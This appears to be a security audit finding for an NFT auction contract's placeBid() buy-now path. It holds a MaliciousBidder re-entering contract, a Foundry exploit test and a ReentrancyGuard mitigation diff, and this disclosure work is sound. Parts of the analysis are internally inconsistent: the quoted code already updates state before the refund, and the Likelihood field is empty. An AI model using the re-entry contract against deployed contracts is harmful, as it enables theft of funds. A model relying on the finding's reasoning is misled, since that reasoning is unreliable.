High: Reentrancy During Buy-Now Purchase
Description
-
The placeBid() function allows immediate purchase when a bid meets the buy-now price, executing the sale and refunding any previous bidder.
-
The function performs external calls to refund the previous bidder before completing all state changes, violating the checks-effects-interactions pattern and enabling reentrancy attacks.
if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
uint256 salePrice = listing.buyNowPrice;
uint256 overpay = msg.value - salePrice;
bids[tokenId] = Bid(msg.sender, salePrice);
listing.listed = false;
if (previousBidder != address(0)) {
_payout(previousBidder, previousBidAmount);
}
_executeSale(tokenId);
Risk
Likelihood:
Impact:
-
Reentrancy could manipulate auction state during execution
-
Potential for double-spending or state corruption
-
Could prevent legitimate buy-now purchases from completing
Proof of Concept
This test demonstrates how a malicious contract can exploit the reentrancy vulnerability during a buy-now purchase. The attacker's contract receives a refund for their previous bid and uses that opportunity to reenter the marketplace contract before the sale is finalized.
contract MaliciousBidder {
BidBeastsNFTMarket market;
uint256 targetTokenId;
uint256 attackCount;
constructor(address _market) {
market = BidBeastsNFTMarket(_market);
}
function placeBid(uint256 tokenId) external payable {
targetTokenId = tokenId;
market.placeBid{value: msg.value}(tokenId);
}
receive() external payable {
if (attackCount < 1) {
attackCount++;
market.placeBid{value: msg.value}(targetTokenId);
}
}
}
function test_ReentrancyInBuyNow() public {
MaliciousBidder attacker = new MaliciousBidder(address(market));
vm.deal(address(attacker), 10 ether);
attacker.placeBid{value: 2 ether}(tokenId);
vm.prank(legitimateBuyer);
vm.expectRevert();
market.placeBid{value: buyNowPrice}(tokenId);
}
Recommended Mitigation
Implement proper checks-effects-interactions pattern by completing all state changes before making external calls. Additionally, consider using OpenZeppelin's ReentrancyGuard for comprehensive protection.
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract BidBeastsNFTMarket is Ownable(msg.sender) {
+ contract BidBeastsNFTMarket is Ownable(msg.sender), ReentrancyGuard {
- function placeBid(uint256 tokenId) external payable isListed(tokenId) {
+ function placeBid(uint256 tokenId) external payable isListed(tokenId) nonReentrant {
if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
uint256 salePrice = listing.buyNowPrice;
uint256 overpay = msg.value - salePrice;
+ address prevBidder = previousBidder;
+ uint256 prevAmount = previousBidAmount;
// Complete ALL state changes first
bids[tokenId] = Bid(msg.sender, salePrice);
listing.listed = false;
- if (previousBidder != address(0)) {
- _payout(previousBidder, previousBidAmount);
- }
_executeSale(tokenId); // This also modifies state
+ // External calls last
+ if (prevBidder != address(0)) {
+ _payout(prevBidder, prevAmount);
+ }
if (overpay > 0) {
_payout(msg.sender, overpay);
}